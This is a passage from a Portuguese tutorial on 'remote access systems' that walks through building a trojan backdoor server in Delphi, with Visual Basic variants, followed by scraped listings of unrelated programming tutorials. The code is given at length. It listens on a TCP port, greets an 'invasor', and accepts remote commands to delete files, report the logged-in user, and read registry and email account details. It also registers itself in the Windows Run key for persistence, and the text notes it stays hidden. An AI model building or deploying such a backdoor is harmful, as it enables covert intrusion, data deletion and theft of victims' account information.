25 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 25 -p Exibe somente as conexões para um dos protocolos TCP, UDP e IP. -r Exibe o conteúdo da tabela de roteamento. intervalo Especifica o tempo em segundos de pausa para reexibir as informações selecionadas. Ctrl+C para interromper. Utilizaremos como cliente de nosso servidor o próprio programa Telnet do Windows. Vá em Iniciar->Executar e digite: telnet fig. 13 Executando telnet. O primeiro parâmetro que passamos ao telnet (o número ) é o IP do computador ao qual queremos nos conectar. Como o servidor está em nossa própria máquina, utilizamos o endereço que é conhecido como endereço de loopback (para testes locais). O segundo parâmetro é a porta de conexão que está aberta remotamente (no caso do nosso servidor ele abre a porta que já foi previamente configurada). Ao ser executado o telnet tentará se conectar à porta do computador e se a conexão for bem sucedida a tela do telnet ficará desta maneira: fig. 14 Telnet conectado ao servidor. Agora é só testar as funcionalidades do servidor!

26 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 26 Construindo o Servidor em Delphi Layout Particularmente prefiro Delphi para programação devido aos seus bons recursos em Orientação a Objeto. Abra a IDE do Delphi 5. Automaticamente já irá trazer um formulário padrão em tela para desenvolvimento. fig. 15 Formulário padrão do Delphi. Altera suas propriedades conforme segue: frmmain Name: frmmain; Caption: Backdoor Server; As propriedades Name e Caption tem as mesmas funcionalidades que em Visual Basic. Salve a unit como umain.pas através do menu File -> Save All ou através do botão Save All da TollBar. fig. 16 Botão Save All da Toolbar.

27 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 27 fig. 17 Salvando a unit umain.pas. Salve o projeto como TrojanServer.dpr fig. 18 Salvando o projeto TrojanServer.dpr. Adicione um componente TMemo ao formulário e altere suas propriedades conforme abaixo: minfo Align: alclient; Name: minfo; Lines: Apague seu conteúdo; A propriedade Align se refere ao alinhamento do componente no formulário e alclient significa que ele ficará expandido em toda a extensão do formulário. A propriedade Lines se refere ao conteúdo do TMemo.

28 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 28 Vá para a palheta Internet e adicione um componente TServerSocket. Este é o componente que faz o papel de servidor em nossa aplicação. Configure suas propriedades como a seguir: fig. 19 Adicionando TServerSocket ao projeto. Server Active: True; Name: Server; Port: 11111; A propriedade Active diz se o servidor está ativo ou não. Deixando esta propriedade como True, o servidor entrará em modo listening quando a aplicação entrar no ar. A propriedade Port se refere à qual porta o servidor ficará aguardando conexões. O formulário deverá se parecer com o mostrado abaixo: fig. 20 Tela do servidor em Delphi. Codificando o Servidor em Delphi Abra o código da unit umain e adicione a entrada Registry em uses como mostrado abaixo, para que possamos acessar o componente do Registry do Delphi. Diferentemente do Visual Basic, não temos que programar um módulo ou uma classe, pois o componente já está pronto, basta apenas utilizarmos seus métodos:

29 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 29 Uses uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ScktComp, Registry; Adicione as seguintes declarações em Private Declarations conforme abaixo: Private Declarations private { Private declarations } scommand: String; function MSG(sMSG: String): String; function HELP: String; function BANNER: String; function DEL(sFile: String): String; function RegInfo: String; function GetMailInfo: String; function GetCurrentUserName: String; Agora adicionaremos os códigos das funções na unit após a linha {$R *.DFM} function TfrmMain.BANNER: String; function TfrmMain.BANNER: String; Result:= (' ' + #$D#$A + #$D#$A); Result:= Result + (' Delphi - BACKDOOR SERVER ' + #$D#$A); Result:= Result + (' Version Internet.Zero.Polar.Age ' + #$D#$A); Result:= Result + (' Developed by Guilherme Cestarolli Seleguim ' + #$D#$A); Result:= Result + (' Welcome Invasor! Type Help for the list of commands ' + #$D#$A); Result:= Result + (' ' + #$D#$A + #$D#$A); Result:= Result + ('BACKDOOR->'); Quando algum cliente se conectar ao nosso servidor este banner de apresentação será exibido. function TfrmMain.DEL(sFile: String): String; function TfrmMain.DEL(sFile: String): String; if DeleteFile(sFile) then Result:= 'The file ' + sfile + ' was deleted.' + #$D#$A else Result:= 'The file ' + sfile + ' could not be deleted.' + #$D#$A;

30 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 30 Result:= Result + 'BACKDOOR->'; Quando solicitada a deleção de um arquivo pelo cliente, o servidor irá utilizar esta função para faze-lo. Para apagar um arquivo utilizando o Delphi usamos a função DeleteFile (FileName). DeleteFile retorna True se conseguiu apagar o arquivo ou False caso contrário. function TfrmMain.GetCurrentUserName: String; function TfrmMain.GetCurrentUserName: String; const cnmaxusernamelen = 254; var susername: String; dwusernamelen: DWORD; dwusernamelen := cnmaxusernamelen - 1; SetLength(sUserName, cnmaxusernamelen); GetUserName(PChar(sUserName), dwusernamelen); SetLength(sUserName, dwusernamelen); Result:= susername + #$D#$A; Result:= Result + 'BACKDOOR->'; Quando solicitado o usuário corrente do Windows pelo cliente, o servidor irá utilizar esta função para faze-lo. function TfrmMain.GetMailInfo: String; function TfrmMain.GetMailInfo: String; var Reg: TRegistry; AccountStr: string; Reg:= TRegistry.Create; try Reg.RootKey := HKEY_CURRENT_USER; if Reg.OpenKey('Software\Microsoft\Internet Account Manager', False) then {} AccountStr := Reg.ReadString('Default Mail Account'); Reg.CloseKey; if (AccountStr <> '') then if Reg.OpenKey('Software\Microsoft\Internet Account Manager\Accounts\' + AccountStr, False) then {} Result:= 'Account Name: ' + Reg.ReadString('Account Name') + #$D#$A; Result:= Result + 'POP3 Server: ' + Reg.ReadString('POP3 Server') + #$D#$A; Result:= Result + 'POP3 User Name: ' + Reg.ReadString('POP3 User Name') + #$D#$A; Result:= Result + 'SMTP Server: ' + Reg.ReadString('SMTP Server') + #$D#$A; Result:= Result + 'SMTP Display Name: ' + Reg.ReadString('SMTP Display Name') + #$D#$A; Result:= Result + 'SMTP Address: ' + Reg.ReadString('SMTP Address') + #$D#$A;

31 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 31 Result:= Result + 'BACKDOOR->'; Reg.CloseKey; finally Reg.Free; Quando solicitadas informações de pelo cliente, o servidor irá utilizar esta função para faze-lo. function TfrmMain.HELP: String; function TfrmMain.HELP: String; Result:= 'Available commands for this version are listed below:' + #$D#$A; Result:= Result + 'HELP (Shows available commands)' + #$D#$A; Result:= Result + 'MSG (Sends message. Example: MSG Message)' + #$D#$A; Result:= Result + 'USER (Retrieve user current logged)' + #$D#$A; Result:= Result + 'DEL (Deletes a file. Example: DEL PathOfFile)' + #$D#$A; Result:= Result + 'REGINFO (Retrieve Registry Information)' + #$D#$A; Result:= Result + 'MAILINFO (Retrieve Mail Information)' + #$D#$A; Result:= Result + 'QUIT (Disconnects from the server)' + #$D#$A; Result:= Result + 'BACKDOOR->'; Quando solicitadas as funções que o servidor executa, o servidor irá utilizar esta função para faze-lo. function TfrmMain.MSG(sMSG: String): String; function TfrmMain.MSG(sMSG: String): String; Result:= 'The message was delivered' + #$D#$A; Result:= Result + ('BACKDOOR->'); MessageBox(Handle, Pchar(sMSG), 'You received a message!', MB_OK); Quando o cliente quiser enviar uma mensagem para o servidor, o servidor irá utilizar esta função para faze-lo. function TfrmMain.RegInfo: String; function TfrmMain.RegInfo: String; var Reg: TRegistry; Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; if Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion', False) = true then Result := 'Windows 9x' + #$D#$A; Result := Result + Reg.ReadString('ProductName') + #$D#$A; Result := Result + Reg.ReadString('VersionNumber') + #$D#$A;

32 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 32 if Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion', False) = true then if Length(Result)>0 then Result := ''; Result:= 'Windows NT' + #$D#$A; Result:= Result + 'Platform ID: ' + Reg.ReadString('ProductName') + #$D#$A; Result:= Result + 'CSD Version: ' + Reg.ReadString('CSDVersion') + #$D#$A; Result:= Result + 'Current Version: ' + Reg.ReadString('CurrentVersion') + #$D#$A; Result:= Result + 'Current Build: ' + Reg.ReadString('CurrentBuild') + #$D#$A; Result:= Result + 'Current Build Number: ' + Reg.ReadString('CurrentBuildNumber') + #$D#$A; Result:= Result + 'Current Type: ' + Reg.ReadString('CurrentType') + #$D#$A; Result:= Result + 'Product ID: ' + Reg.ReadString('ProductId') + #$D#$A; Result:= Result + 'Registered Organization: ' + Reg.ReadString('RegisteredOrganization') + #$D#$A; Result:= Result + 'Registered Owner: ' + Reg.ReadString('RegisteredOwner') + #$D#$A; Result:= Result + 'Path Name: ' + Reg.ReadString('PathName') + #$D#$A; Result:= Result + 'Source Path: ' + Reg.ReadString('SourcePath') + #$D#$A; Result:= Result + 'System Root: ' + Reg.ReadString('SystemRoot') + #$D#$A; Result:= Result + 'BACKDOOR->'; Reg.Free; Agora que as funções estão codificadas vamos escrever as rotinas do componente TServerSocket. Para isso clique sobre o componente Server no formulário e pressione a tecla F11 para que a janela de propriedades e eventos seja mostrada. Dê duplo clique ao lado dos eventos OnClientConnect, OnClientDisconnect, OnClientError e OnClientRead para que o esqueleto dos procedimentos seja estruturado na unit do formulário. Entre com código em cada um deles conforme abaixo: fig. 21 Eventos de TServerSocket. procedure TfrmMain.ServerClientConnect procedure TfrmMain.ServerClientConnect(Sender: TObject; Socket: TCustomWinSocket); minfo.lines.add (Socket.RemoteHost + ' is connected');

33 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 33 Socket.SendText (BANNER); Toda vez que algum cliente se conectar em nosso servidor será invocado este procedimento que adicionará uma entrada em nosso memo de informações e enviará ao cliente o resultado de nossa função Banner( ) através do método SendText. procedure TfrmMain.ServerClientDisconnect procedure TfrmMain.ServerClientDisconnect(Sender: TObject; Socket: TCustomWinSocket); minfo.lines.add (Socket.RemoteHost + ' is disconnected'); Toda vez que um cliente se desconectar do servidor este procedimento será invocado e adicionará uma entrada no memo de informações. procedure TfrmMain.ServerClientRead procedure TfrmMain.ServerClientRead(Sender: TObject; Socket: TCustomWinSocket); var smsg, saction, sparameter: String; iposspace: Integer; smsg:= Socket.ReceiveText; //Typed Enter if smsg = #$D#$A then iposspace:= Pos(' ', scommand); //There is a parameter if iposspace > 0 then saction:= Copy(sCommand, 1, iposspace - 1); Delete(sCommand, 1, iposspace); sparameter:= scommand; end else saction:= scommand; //Typed MSG if UpperCase(sAction) = 'MSG' then scommand:= ''; Socket.SendText (MSG(sParameter)); end //Typed QUIT else if UpperCase(sAction) = 'QUIT' then Socket.SendText ('Connection terminated...'); Socket.Close; end

34 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 34 //Typed HELP else if UpperCase(sAction) = 'HELP' then scommand:= ''; Socket.SendText (HELP); end //Typed DEL else if UpperCase(sAction) = 'DEL' then scommand:= ''; Socket.SendText (DEL(sParameter)); end //Typed REGINFO else if UpperCase(sAction) = 'REGINFO' then scommand:= ''; Socket.SendText (RegInfo); end //Typed MAILINFO else if UpperCase(sAction) = 'MAILINFO' then scommand:= ''; Socket.SendText (GetMailInfo); end //Typed USER else if UpperCase(sAction) = 'USER' then scommand:= ''; Socket.SendText (GetCurrentUserName); end //Typed a non-existant command else Socket.SendText ('Command not recognized.' + #$D#$A); Socket.SendText ('BACKDOOR->'); scommand:= ''; end end //Typed a word different than BackSpace else if smsg <> #8 then scommand:= scommand + smsg //Typed BackSpace else if Length(sCommand) = 0 then Socket.SendText (#13 + 'BACKDOOR->') else scommand:= Copy(sCommand, 1, Length(sCommand) - 1); Este método é invocado quando algum cliente envia dados ao servidor. Guardamos a informação enviada na variável smsg através do método ReceiveText. Guardamos na variável

35 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 35 saction o comando enviado e se houver um parâmetro para este comando guardamos ele em sparameter. Verificamos o comando e se for válido executamos a função referenciada implementando assim um protocolo de comunicação. procedure TfrmMain.ServerClientError procedure TfrmMain.ServerClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); var msg: String; msg:= 'Ocorreu um erro ao '; case ErrorEvent of eegeneral: msg:= 'Falha geral de comunicação(erro desconhecido)'; eesend: msg:= msg + 'enviar dados'; eereceive: msg:= msg + 'receber dados'; eeconnect: msg:= msg + 'conectar'; eedisconnect: msg:= msg + 'desconectar'; eeaccept: msg:= msg + 'aceitar a conexão'; ShowMessage(msg); ErrorCode:= 0; {Evita a mensagem padrão} Caso ocorra algum erro entre a conexão, será verificado o tipo de erro para mostrar uma mensagem condizente. Agora que o servido está codificado é só testa-lo da mesma maneira que foi testado o servidor em Visual Basic Registrando o servidor para início automático Os Cavalos de Tróia em sua maioria se registram no Windows para que sejam iniciados toda vez que o Windows for ligado. A chave do Registro onde gravam suas entradas é a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\. A entrada é um Valor de Seqüência contendo o caminho para o servidor na máquina. Para acessar o Registro vá em Iniciar -> Executar -> regedit.

36 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 36 fig. 22 REGEDIT Editor do Registro do Windows. Registrando o servidor em Delphi Para registrar nosso programa utilizando Delphi digite o código abaixo no evento FormCreate de nosso formulário frmmain: procedure TfrmMain.FormCreate(Sender: TObject); procedure TfrmMain.FormCreate(Sender: TObject); var Reg: TRegistry; Reg: TRegistry.Create; Reg.RootKey:= HKEY_LOCAL_MACHINE; Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False); Reg.WriteString('MeuTrojanDelphi',Application.ExeName); Reg.CloseKey; Reg.Free; Registrando o servidor em Visual Basic Altere o código do evento Form_Load( ) conforme abaixo: Private Sub Form_Load() Private Sub Form_Load() SetKeyValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "MeuTrojanVB", App.Path & "\" & App.EXEName, REG_SZ Server.Listen End Sub E assim concluímos os dois modelos de Trojans. Vale lembrar que este tipo de aplicação visa ficar escondido e para isso nem seu formulário principal é mostrado quando iniciado e

Neste capítulo, vamos utilizar as funções de API para o serviço de FTP, que permitirá o acesso a uma máquina remota para enviar arquivos.

Neste capítulo, vamos utilizar as funções de API para o serviço de FTP, que permitirá o acesso a uma máquina remota para enviar arquivos. Capítulo 11 Transmissão do arquivo de pedidos por FTP Neste capítulo, vamos utilizar as funções de API para o serviço de FTP, que permitirá o acesso a uma máquina remota para enviar arquivos. FTP File

Leia mais

Microsoft Visual Studio Express 2012 for Windows Desktop

Microsoft Visual Studio Express 2012 for Windows Desktop Microsoft Visual Studio Express 2012 for Windows Desktop Apresentação da ferramenta Professor: Danilo Giacobo Página pessoal: www.danilogiacobo.eti.br E-mail: danilogiacobo@gmail.com 1 Introdução Visual

Leia mais

END OF FILE: Tutorial Chat Em Delphi

END OF FILE: Tutorial Chat Em Delphi END OF FILE: Tutorial Chat Em Delphi fórum: http://offile.umforum.net site: http://fts315.xp3.biz autor: kõdo no kami (www.facebook.com/hacker.fts315) - skype: hackefts315 greetz: mmxm, sir.rafiki, suspeit0@virtual,

Leia mais

Tutorial de Computação Introdução a Programação Gráfica em Lazarus Para MEC 1100 v2010.10

Tutorial de Computação Introdução a Programação Gráfica em Lazarus Para MEC 1100 v2010.10 Tutorial de Computação Introdução a Programação Gráfica em Lazarus Para MEC 1100 v2010.10 Linha de Equipamentos MEC Desenvolvidos por: Maxwell Bohr Instrumentação Eletrônica Ltda. Rua Porto Alegre, 212

Leia mais

PROJECT 1 Delphi Project (Extensão. DPR)

PROJECT 1 Delphi Project (Extensão. DPR) CAPÍTULO2 1. A ESTRUTURA DE UM APLICATIVO Quando iniciamos uma aplicação em Delphi ele interpreta que iremos desenvolver um projeto. Este gerencia um conjunto de recursos como Forms, Units, objetos, funções

Leia mais

Construindo e Codificando o Projeto Conversor de Números

Construindo e Codificando o Projeto Conversor de Números Criando um Add-In no Visual Basic 6 Por John P. Cunningham Definindo um diretório, renomeando o formulário e salvando o projeto Passo 1: Crie um subdiretório na diretório do Visual Basic chamado ConverterAddIn.

Leia mais

Conhecendo o Visual FoxPro 8.0 Parte 1

Conhecendo o Visual FoxPro 8.0 Parte 1 AULA Conhecendo o Visual FoxPro 8.0 Parte 1 Em qualquer profissão é importante que se conheça bem as ferramentas que serão usadas para executar o trabalho proposto. No desenvolvimento de software não é

Leia mais

AMBIENTE. FORMULÁRIO: é a janela do aplicativo apresentada ao usuário. Considere o formulário como a sua prancheta de trabalho.

AMBIENTE. FORMULÁRIO: é a janela do aplicativo apresentada ao usuário. Considere o formulário como a sua prancheta de trabalho. DELPHI BÁSICO VANTAGENS Ambiente de desenvolvimento fácil de usar; 1. Grande Biblioteca de Componentes Visuais (VCL - Visual Component Library), que são botões, campos, gráficos, caixas de diálogo e acesso

Leia mais

Aula Dirigida de Introdução ao Dev-C++

Aula Dirigida de Introdução ao Dev-C++ Aula Dirigida de Introdução ao Dev-C++ 1 Introdução Departamento de Ciência da Computação IME/USP J.C. de Pina, J. Soares e C.H. Morimoto O que vem a ser um programa em C? Você talvez já tenha ouvido falar

Leia mais

Projeto Supermercado - Produtos

Projeto Supermercado - Produtos OBJETIVO: Este projeto possibilitará fazer a manutenção dos dados da tabela de Produtos. Didaticamente, ele permite ao programador iniciante ter os primeiros contatos com os objetos de visualização individual

Leia mais

Avançado. Visão geral do ambiente do VBA Retornar à planilha Excel

Avançado. Visão geral do ambiente do VBA Retornar à planilha Excel Avançado Trabalhando com VBA Descubra a linguagem de programação do Microsoft Office e torne-se um expert no desenvolvimento de funções, macros e planilhas eletrônicas Nas edições anteriores da revista

Leia mais

Para que o NSBASIC funcione corretamente em seu computador, você deve garantir que o mesmo tenha as seguintes características:

Para que o NSBASIC funcione corretamente em seu computador, você deve garantir que o mesmo tenha as seguintes características: Cerne Tecnologia www.cerne-tec.com.br Conhecendo o NSBASIC para Palm Vitor Amadeu Vitor@cerne-tec.com.br 1. Introdução Iremos neste artigo abordar a programação em BASIC para o Palm OS. Para isso, precisaremos

Leia mais

Índice. Tutorial para Desenvolvimento de Conduits em Delphi

Índice. Tutorial para Desenvolvimento de Conduits em Delphi Índice Índice...1 Desenvolvendo Conduits...2 (Passo a Passo)...2 Criando um Arquivo.mdb... 2 Arquivos...6 Instalando os componentes... 7 Recompilando os Comonentes do Delphi...13 Configurando a Conexão

Leia mais

Instalação e Configuração RPM Remote Print Manager para Windows 2000

Instalação e Configuração RPM Remote Print Manager para Windows 2000 Instalação e Configuração RPM Remote Print Manager para Windows 2000 Antes de iniciar a instalação do RPM Remote Print Manager parar Windows 2000, você necessita ter privilégios de "administrador" devido

Leia mais

Primeiramente lemos a seguinte citação, copiada de Excel-Ajuda:

Primeiramente lemos a seguinte citação, copiada de Excel-Ajuda: 33 Capítulo 3 Procedimentos (macros) Primeiramente lemos a seguinte citação, copiada de Excel-Ajuda: O objetivo de uma macro é automatizar as tarefas usadas com mais freqüência. Embora algumas macros sejam

Leia mais

Guia de configuração para liberar Portas no DSLink 260E para acesso via PPPoE Rev. 3.3

Guia de configuração para liberar Portas no DSLink 260E para acesso via PPPoE Rev. 3.3 Guia de configuração para liberar Portas no DSLink 260E para acesso via PPPoE Rev. 3.3 http://www.dslink.com.br/ Índice Como conectar o modem DSLink 260E ao meu computador?... 3 Configurando o modem como

Leia mais

Delphi IDE. Jocélio Passos joceliodpassos@bol.com.br. Delphi - IDE. Integrad Development Enviroment Ambiente de Desenvolvimento Integrado

Delphi IDE. Jocélio Passos joceliodpassos@bol.com.br. Delphi - IDE. Integrad Development Enviroment Ambiente de Desenvolvimento Integrado Delphi Integrad Development Enviroment Ambiente de Desenvolvimento Integrado IDE Jocélio Passos joceliodpassos@bol.com.br Iniciar Programas Borland Delphi X Delphi X 2/2/2007 2 Primeiro Projeto Menu File

Leia mais

Instalando o IIS 7 no Windows Server 2008

Instalando o IIS 7 no Windows Server 2008 Goiânia, 16/09/2013 Aluno: Rafael Vitor Prof. Kelly Instalando o IIS 7 no Windows Server 2008 Objetivo Esse tutorial tem como objetivo demonstrar como instalar e configurar o IIS 7.0 no Windows Server

Leia mais

Instalando o IIS 7 no Windows Server 2008

Instalando o IIS 7 no Windows Server 2008 Goiânia, 16/09/2013 Aluno: Rafael Vitor Prof. Kelly Instalando o IIS 7 no Windows Server 2008 Objetivo Esse tutorial tem como objetivo demonstrar como instalar e configurar o IIS 7.0 no Windows Server

Leia mais

4 Criação de macros e introdução à linguagem VBA

4 Criação de macros e introdução à linguagem VBA 4 Criação de macros e introdução à linguagem VBA Vinicius A. de Souza va.vinicius@gmail.com São José dos Campos, 2011. 1 Sumário Tópicos em Microsoft Excel 2007 Introdução à criação de macros...3 Gravação

Leia mais

Segurança de Acesso a Banco de Dados no MS SQL Server

Segurança de Acesso a Banco de Dados no MS SQL Server Segurança de Acesso a Banco de Dados no MS SQL Server Para efetuar com sucesso os exemplos que serão mostrados a seguir é necessário que exista no SQL Server uma pessoa que se conecte como Administrador,

Leia mais

MA001. 01 de 28. Responsável. Revisão Q de 26/06/2015. Cantú & Stange Software. Página

MA001. 01 de 28. Responsável. Revisão Q de 26/06/2015. Cantú & Stange Software. Página Manual de instalação do Zada 5 MA001 Responsável Revisão Q de 26/06/2015 FL Página 01 de 28 Página 1 de 33 Revisão Q de 26/06/2015 MA001 Responsável: FL Manual de instalação do Zada 5 Este manual consiste

Leia mais

Excel Macros e Programação em VBA

Excel Macros e Programação em VBA são formulários personalizados pelo programador para criar uma interface entre a pasta de trabalho do Excel e o usuário da aplicação. Abra o Editor do VBA; No menu Inserir, escolha UserForm; A figura mostra

Leia mais

ROTEIRO ILUSTRADO PARA SISTEMA COMPUTACIONAL INSANE

ROTEIRO ILUSTRADO PARA SISTEMA COMPUTACIONAL INSANE UNIVERSIDADE FEDERAL DE MINAS GERAIS PROPEEs - Programa de Pós-Graduação em Engenharia de Estruturas INSANE - INteractive Structural ANalysis Environment ROTEIRO ILUSTRADO PARA INSTALAÇÃO DO SISTEMA COMPUTACIONAL

Leia mais

Conhecendo o Visual FoxPro 8.0 Parte 3

Conhecendo o Visual FoxPro 8.0 Parte 3 AULA Conhecendo o Visual FoxPro 8.0 Parte 3 Continuando nossa saga pelas ferramentas do Visual FoxPro 8.0, hoje vamos conhecer mais algumas. A Ferramenta Class Designer A Class Designer é a ferramenta

Leia mais

Índice: Tipo de Aplicações em Visual Basic Componentes do Visual Basic

Índice: Tipo de Aplicações em Visual Basic Componentes do Visual Basic O tutorial a seguir,é feito para iniciantes em Visual Basic, que no qual, pode ajudar alguns que querem saber algumas funcções. Que começe o Tutorial ^^ Índice: Tipo de Aplicações em Visual Basic Componentes

Leia mais

STK (Start Kit DARUMA) Conectando-se diretamente a sua aplicação via TS com o MT1000 Daruma

STK (Start Kit DARUMA) Conectando-se diretamente a sua aplicação via TS com o MT1000 Daruma STK (Start Kit DARUMA) Conectando-se diretamente a sua aplicação via TS com o MT1000 Daruma Neste STK apresentaremos como configurar seu servidor Windows 2008 R2 para abrir diretamente sua aplicação ao

Leia mais

Manual B.P.S ATA 5xxx Índice

Manual B.P.S ATA 5xxx Índice Manual B.P.S ATA 5xxx Índice 1. Conectando o Adaptador para Telefone Analógico (ATA)...02 2. Configurações básicas...05 2.1 Configuração dos parâmetros de usuário e senha para acessos de banda larga do

Leia mais

Universidade Federal do Rio Grande do Norte

Universidade Federal do Rio Grande do Norte Universidade Federal do Rio Grande do Norte Redes de Computadores - Camada de Aplicação Curso de Engenharia de Software Prof. Marcos Cesar Madruga/Thiago P. da Silva Material basedado em [Kurose&Ross 2009]

Leia mais

O que é Visual Basic?

O que é Visual Basic? Visual Basic O que é Visual Basic? O Visual Basic consiste em uma linguagem de programação orientada a eventos. Isto significa que todas as ações que ocorrem durante a execução do programa são estruturadas

Leia mais

Manual de Instalação da VPN

Manual de Instalação da VPN Manual de Instalação da VPN Windows Vista e Windows 7 Sumário: Manual de instalação da VPN 1. OBJETIVO... 3 2. EFETUANDO O DOWNLOAD DO INSTALADOR DA VPN... 3 3. INSTALANDO A VPN... 6 4. CONFIGURANDO A

Leia mais

Terminal Portátil PAT-1000 Wi-Fi

Terminal Portátil PAT-1000 Wi-Fi Terminal Portátil PAT-1000 Wi-Fi Prezado cliente, Parabéns por adquirir um terminal portátil modelo PAT1000 / 2000 Colleter. Este manual irá ajudá-lo a compreender mais as características técnicas do equipamento

Leia mais

Delphi 7 Aula 01 Área do Triângulo

Delphi 7 Aula 01 Área do Triângulo Delphi 7 Aula 01 Área do Triângulo Prof. Gilbert Azevedo da Silva I. Objetivos Conhecer o Ambiente Integrado de Desenvolvimento (IDE) do Delphi 7, Desenvolver a primeira aplicação no Delphi 7, Aprender

Leia mais

Criação de uma base de dados em MS SQL Server e acesso com VB 6. Professor Sérgio Furgeri

Criação de uma base de dados em MS SQL Server e acesso com VB 6. Professor Sérgio Furgeri OBJETIVOS DA AULA: Criação de uma base de dados em MS SQL Server e acesso com VB 6. Fazer uma breve introdução a respeito do MS SQL Server 7.0; Criar uma pequena base de dados no MS SQL Server 7.0; Elaborar

Leia mais

Microsoft Office Excel

Microsoft Office Excel 1 Microsoft Office Excel Introdução ao Excel Um dos programas mais úteis em um escritório é, sem dúvida, o Microsoft Excel. Ele é uma planilha eletrônica que permite tabelar dados, organizar formulários,

Leia mais

TUTORIAL. ADSL Modems Alcatel e NEC(Great Speed)

TUTORIAL. ADSL Modems Alcatel e NEC(Great Speed) TUTORIAL ADSL Modems Alcatel e NEC(Great Speed) Erico de Souza Teixeira Malamud Florianópolis, 2002 SUMÁRIO 1. INTRODUÇÃO... 3 2. O Risco... 5 3. Os Aplicativos PTPP... 5 4. NEC GREAT SPEED... 6 5. ALCATEL

Leia mais

Nota de Aplicação IHM 001

Nota de Aplicação IHM 001 N.A 001 Comunicação IHM M e PLC PM via Ethernet Objetivo: Este documento descreve o procedimento para realizar a comunicação entre os CLPs PM da Ativa com as IHM Xpanel. Os requisitos para este procedimento

Leia mais

INTRODUÇÃO. A SKA preparou este documento técnico com o objetivo de auxiliar seus clientes a realizar a instalação do SolidWorks 2009.

INTRODUÇÃO. A SKA preparou este documento técnico com o objetivo de auxiliar seus clientes a realizar a instalação do SolidWorks 2009. Guia de Instalação do SolidWorks 2009 INTRODUÇÃO A SKA preparou este documento técnico com o objetivo de auxiliar seus clientes a realizar a instalação do SolidWorks 2009. O SolidWorks pode ser instalado

Leia mais

Manual de Instalação: Agente do OCS Inventory NG

Manual de Instalação: Agente do OCS Inventory NG Manual de Instalação: Agente do OCS Inventory NG Abril 2013 Sumário 1. Agente... 1 2. Onde instalar... 1 3. Etapas da Instalação do Agente... 1 a. Etapa de Instalação do Agente... 1 b. Etapa de Inserção

Leia mais

Tarefa Orientada 2 Aplic. Manutenção de Produtos - DataGridView

Tarefa Orientada 2 Aplic. Manutenção de Produtos - DataGridView Tarefa Orientada 2 Aplic. Manutenção de Produtos - DataGridView Objectivos: Criação de fonte de dados (Data Source) a partir de base de dados. Utilização de um controlo DataGridView para visualizar dados.

Leia mais

Instalação e Operação dos Aplicativos Serie 5000/6000

Instalação e Operação dos Aplicativos Serie 5000/6000 Instalação e Operação dos Aplicativos Serie 5000/6000 Requisitos mínimos de Hardware: Pentium 3 de 500 mhz ou Celeron de 700 mhz ou superior 128 MB de RAM 100 MB livres no disco rígido Requisitos de Software:

Leia mais

Inserindo Dados no Banco de Dados Paradox.

Inserindo Dados no Banco de Dados Paradox. Inserindo Dados no Banco de Dados Paradox. - Construção do Banco de Dados: Para podermos inserir algo em um banco precisaremos de um Banco de Dados, para isto iremos montar um utilizando o Programa Database

Leia mais

ETEC DR. EMÍLIO HENRNANDEZ AGUILAR PROGRAMAÇÃO DE COMPUTADORES I PROFESSOR RAFAEL BARRETO

ETEC DR. EMÍLIO HENRNANDEZ AGUILAR PROGRAMAÇÃO DE COMPUTADORES I PROFESSOR RAFAEL BARRETO ETEC DR. EMÍLIO HENRNANDEZ AGUILAR PROGRAMAÇÃO DE COMPUTADORES I PROFESSOR RAFAEL BARRETO DELPHI - UTILIZANDO OPENDIALOG PARA ARMAZENAR IMAGENS EM BANCO DE DADOS Criaremos uma solução simples para criar

Leia mais

ITALC - Intelligent Teaching and Learning with Computers

ITALC - Intelligent Teaching and Learning with Computers ITALC - Intelligent Teaching and Learning with Computers Italc Ensino e aprendizado inteligente em computadores Antônio Ricardo Leocádio Gomes, Prof. Centro Universitário de Belo Horizonte UNI-BH Manual

Leia mais

Procedimentos para Configuração de Redirecionamento de Portas

Procedimentos para Configuração de Redirecionamento de Portas 1 Procedimentos para Configuração de Redirecionamento de Portas O DIR 635 tem duas opções para liberação de portas: Virtual server: A opção Virtual Server permite que você defina uma única porta pública

Leia mais

Manual de utilização GDS Touch PAINEL TOUCH-SCREEN CONTROLE RESIDENCIAL INTERATIVO. Versão: 1.0 Direitos reservados.

Manual de utilização GDS Touch PAINEL TOUCH-SCREEN CONTROLE RESIDENCIAL INTERATIVO. Versão: 1.0 Direitos reservados. Bem Vindo GDS TOUCH Manual de utilização GDS Touch PAINEL TOUCH-SCREEN CONTROLE RESIDENCIAL INTERATIVO O GDS Touch é um painel wireless touchscreen de controle residencial, com design totalmente 3D, interativo

Leia mais

Nota de Aula: Utilização da IDE Code::Blocks

Nota de Aula: Utilização da IDE Code::Blocks INSTITUTO FEDERAL DE EDUCAÇÃO, CIÊNCIA E TECNOLOGIA DO MARANHÃO CAMPUS SÃO LUÍS MONTE CASTELO DEPARTAMENTO ACADÊMICO DE INFORMÁTICA SISTEMAS DE INFORMAÇÃO DISCIPLINA: LINGUAGEM DE PROGRAMAÇÃO I PROFESSOR:

Leia mais

Microsoft Word 97 Básico

